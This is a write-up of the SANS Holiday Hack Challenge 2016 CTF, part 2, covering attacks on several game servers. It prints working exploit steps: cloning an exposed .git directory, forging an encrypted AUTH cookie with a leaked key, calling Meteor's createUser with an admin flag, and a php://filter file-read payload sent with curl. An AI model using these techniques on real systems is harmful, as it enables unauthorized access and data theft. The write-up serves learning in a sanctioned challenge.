This post covers the second part of the SANS Holiday Hack Challenge 2016 CTF. Part 1 can be found here.
The next area of the challenge asked how to exploit six servers found within the APK. Along with these servers drops six audio files to analyze towards the end of the game. As listed on the site, the targets were:
- The Mobile Analytics Server (via credentialed login access)
- The Dungeon Game
- The Debug Server
- The Banner Ad Server
- The Uncaught Exception Handler Server
- The Mobile Analytics Server (post authentication)
Each target IP could be verified in-game by Tom Hessman. This helped both with identifying scope & identifying progress, even though each one was fairly obvious.
The Mobile Analytics Server
The first thing I tried on this server was check for a .git directory, it seemed to be very fortunate guess. Hitting that route we get a listing of the git repo for the site, I love seeing this on challenges!
With the git directory exposed you can now clone the full project easily with a bit of wget. For more information about how this is done, check out this article (It also goes into a more advanced topic, reconstructing a repo based on objects found!) - https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/
After we have the local copy of the project we can start looking for interesting files. The first thing to find in the context of this challenge is audio or mp3 files.
$ grep -rnis mp3 * getaudio.php:22: header('Content-Length: ' . strlen($result[0]['mp3'])); getaudio.php:26: print $result[0]['mp3']; header.php:2:require_once('mp3.php'); header.php:33: <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li> mp3.php:5: function mp3_web_path($db) { sprusage.sql:124: `mp3` MEDIUMBLOB NOT NULL,
Looking at mp3.php we find a simple query statement which grabs an audio file, looks promising:
<?php require_once('crypto.php'); require_once('db.php'); function mp3_web_path($db) { $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'"); if (!$result) { return null; } return 'getaudio.php?id=' . $result[0]['id']; }
Then looking at where it's been used, we find the main header file:
<ul class="nav navbar-nav"> <li><a href="/query.php">Query</a></li> <li><a href="/view.php">View</a></li> <?php if (get_username() ≡ 'guest') { ?> <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li> <?php } if (get_username() ≡ 'administrator') { ?> <li><a href="/edit.php">Edit</a></li> <?php } ?> </ul>
Looks like if we login as 'guest' we get access to that guest mp3 through the nav bar link.
Logging in as 'guest' is the next challenge. Looking at how the auth works, we can see it uses a weak authentication mechanism. All the application does to verify the user is check the 'AUTH' cookie's username field:
db.php:69: if($username == 'administrator') { ... } getaudio.php:9: if ($username === 'guest') { ... }
You can see the cookie being set post-auth based on the username & date:
} else { require_once('db.php'); check_user($db, $_POST['username'], $_POST['password']); print "Successfully logged in!"; $auth = encrypt(json_encode([ 'username' => $_POST['username'], 'date' => date(DateTime::ISO8601), ])); setcookie('AUTH', bin2hex($auth)); header('Location: index.php?msg=Successfully%20logged%20in!'); }
Now we can easily run our own version of the cookie generation in PHP for both 'guest' and 'administrator' users:
<?php define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc"); function encrypt($data) { return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream'); } $username = 'guest'; // $username = 'administrator'; $auth = encrypt(json_encode([ 'username' => $username, 'date' => date(DateTime::ISO8601), ])); print('AUTH:\n'); print(bin2hex($auth)); ?>
After adding this cookie (using a browser extension) we're successfully authenticated as 'guest' and we can grab that mp3! It drops 'discombobulatedaudio2.mp3' and Part 1 is done!
The Dungeon Game
The next server found was dungeon.northpolewonderland.com. Visiting the page on port 80 provided some instructions for the game, scanning further with nmap revealed another interesting port: 11111. Looking up usage of that port number there were mentions of MMO games hosted regularly using that value. Hitting it with netcat produced the Dungeon game server.
$ nc -v dungeon.northpolewonderland.com 11111 Connection to dungeon.northpolewonderland.com port 11111 [tcp/vce] succeeded! Welcome to Dungeon. This version created 11-MAR-78. You are in an open field west of a big white house with a boarded front door. There is a small wrapped mailbox here.
First thing first, as I didn't recognize it instantly, we need to find out if this game was created before -- if it's a clone or mod of a previous game we can find the source to. Looking up the copy on the intro when you start we find quickly that this is actually Zork 1, previously called Dungeon.
Initially I was looking for walk-throughs I could paste in verbatim to win the game. This didn't work in a few places. The first stopping point was finding a painting. A few other objects seemed to be moved.
The next strategy was to look up how to cheat. This yielded a couple results. First we could jump to the end of the game using the spell 'incant, DNZHUO IDEQTQ', this didn't seem to go anywhere too interesting, but could be one path. The other was to use the GDT menu (Game Debugging Tool). This provided many options, others probably had more elegant solutions than this, but you quickly start to learn that it allows you to acquire every item in the game.
There is a small wrapped mailbox here. >inventory You are empty handed. >gdt GDT>help Valid commands are: AA- Alter ADVS DR- Display ROOMS AC- Alter CEVENT DS- Display state AF- Alter FINDEX DT- Display text AH- Alter HERE DV- Display VILLS AN- Alter switches DX- Display EXITS AO- Alter OBJCTS DZ- Display PUZZLE AR- Alter ROOMS D2- Display ROOM2 AV- Alter VILLS EX- Exit AX- Alter EXITS HE- Type this message AZ- Alter PUZZLE NC- No cyclops DA- Display ADVS ND- No deaths DC- Display CEVENT NR- No robber DF- Display FINDEX NT- No troll DH- Display HACKS PD- Program detail DL- Display lengths RC- Restore cyclops DM- Display RTEXT RD- Restore deaths DN- Display switches RR- Restore robber DO- Display OBJCTS RT- Restore troll DP- Display parser TK- Take GDT>tk Entry: 1 Taken. GDT>ex >inventory You are carrying: A brown sack.
Through some guess and check we can find that the last item available is in slot 217, it also appears to be the Elf!
A lurking grue. A pair of hands. A breath. A flyer. A bird. A tree. A northern wall. A southern wall. A eastern wall. A western wall. A water. A Guardian of Zork. A compass rose. A mirror. A panel. A stone channel. A dungeon master. A ladder. A Elf.
Looking at info again we can see that the modified goal of this Zork game is to find the Elf, mentioning a trade for secrets.
... Recent adventurers report a new passage has been installed which leads to the North Pole and the lair of a mischevious elf who will trade for secrets he holds that may aid your quest. ...
Dropping the elf and giving it an item it does not want results in the following message:
>give vitreous slag to elf "That wasn't quite what I had in mind", he says, tossing the piece of vitreous slag into the fire, where it vanishes.
After hand-choosing a few items, one of them eventually was accepted. There ended up being a few valid trades of different items. Automating the acquisition of all the items was fairly easy by scripting commands for the GDT menu:
$ python -c 'for x in xrange(218): print "tk\n{}".format(x)' | pbcopy
Then trying various objects for the trade we get:
... >drop elf The elf appears increasingly impatient. >give bird to elf "That wasn't quite what I had in mind", he says, tossing the bird into the fire, where it vanishes. >give dungeon master to elf "That wasn't quite what I had in mind", he says, tossing the dungeon master into the fire, where it vanishes. >give gold card to elf The elf, satisified with the trade says - send email to "peppermint@northpolewonderland.com" for that which you seek. The elf says - you have conquered this challenge - the game will now end. Your score is 15 [total of 585 points], in 17 moves. This gives you the rank of Beginner. >give a crystal sphere to elf The elf, satisified with the trade says - ....
Sending any message to the automated email service listed in the success message provided a link to the mp3, and that was it!
The Debug Server
This was probably one of the most involved challenges for me, being new to APK work.
In the APK provided there was an EditProfile section which would allow you to change various attributes about yourself on the bug bounty platform. It also included a part which would report statistics about the session to some dev server. This was the server we're looking for.
It turned out that the dev server reporting feature was disabled in the version of the APK shipped to us, so what we had to do was re-enable it by disassembling the APK, modifying that value and assembling it again with a valid signing. APKTool, keytool & jarsigner made this a fairly quick process.
$ apktool d SantaGram_4.2.apk $ vim res/values/strings.xml +33 # changing 'debug_data_enabled' from false to true $ apktool build $ mkdir keys $ keytool -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram_4.2 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000 $ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/SantaGram_4.2.keystore SantaGram_4.2.apk SantaGram_4.2 $ adb install SantaGram_4.2.apk
Next up we check out that dev traffic using Burp and the android emulator:
$ emulator -netdelay none -netspeed full -avd Nexus_5_API_25 -http-proxy http://127.0.0.1:8080
Looking at the traffic as we hit the EditProfile page, it shows the JSON parameters of the POST request we need.
Watering down the request to remove any unimportant details, we get:
$ curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1"}' -H 'Content-Type: application/json' {"date":"20170101154937","status":"OK","filename":"debug-20170101154937-0.txt","request":{"date":"0","udid":"0","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"1","verbose":false}}
It looks like there was an extra key added to our JSON object, there's a verbose flag? Let's see what that does.
curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' ... "files":["debug-20170101154937-0.mp3", ...Every debug dump report generated... ], ...
So this is nice, we can read all the debug reports generated by all users. Now we should try to find that audio file if it exists:
curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' 2>/dev/null | tr ',' '\n' | grep mp3 "files":["debug-20161224235959-0.mp3"
Sure enough, there was a hidden mp3 file in the massive dump of debug. Visiting http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 dropped the file.
The Banner Ad Server
In the game there were characters that would drop hints on the challenges. This was one of them that was invaluable moving forward. The Banner Ad server was almost instantly recognized as a Meteor web app while combing through the source. One of the hints linked to a SANS blog post on meteor pwning - https://pen-testing.sans.org/blog/2016/12/06/mining-meteor
This didn't seem like much of a vulnerability, just an incredibly bad design choice to allow authentication and sensitive data to be controlled on the front-end.
The TamperMonkey script mentioned in the 'Mining Meteor' article helped a lot! This allowed us to see exactly what was going on in the web app with all the models and views, etc.
Initial attempt was to try to get access as a different user. The registration portal was locked down, only allowing privileged users to register, and there weren't any obvious credentials being used. Another obvious route to take was to just create a user using Meteor on the front-end, seemed too good to be true though. Popping open the Dev Console we try it out:
> Accounts.createUser({ username: 'billy1', email: 'no-one-cares', password: 'b1lly-h4s-f4nt4stic-p4ssw0rdz', isAdmin: true });
Instantly we notice a change in the UI, now we can go to Admin Quotes as well, looks like it worked!
Grabbing the quotes in the inspector we can see what each value holds:
JSON.stringify(HomeQuotes.find().fetch()[4]); > "{"_id":"zPR5TpxB5mcAH3pYk","index":4,"quote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"}"
Visiting http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 will drop the flag!
The Uncaught Exception Server
On this server we could both write and read files, but only in raw text. This was a PHP server, so a web shell seemed to be the right path, but there wasn't an interpretation of the PHP files. It turned out PHP filters with base64 seemed to work to leak files.
Leaking the exception file seemed logical, and apparently that was all that was required:
curl http://ex.northpolewonderland.com/exception.php --data '{"operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" }}' -H 'Content-Type:application/json' | base64 -D
Looking at the head of this we get the location of the next audio file!
>?php # Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3 # Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
After this I ran out of time so I didn't get the second part to the analytics server, but I knew it had something to do with SQL having a few leads from edit page errors & other query errors.
Really enjoyed playing Holiday Hack Challenge this year! It was a lot of fun, the music was great and the challenges provided a few great learning opportunities! Thanks goes out to all the developers who put this on, you did an amazing job! Can't wait for next year!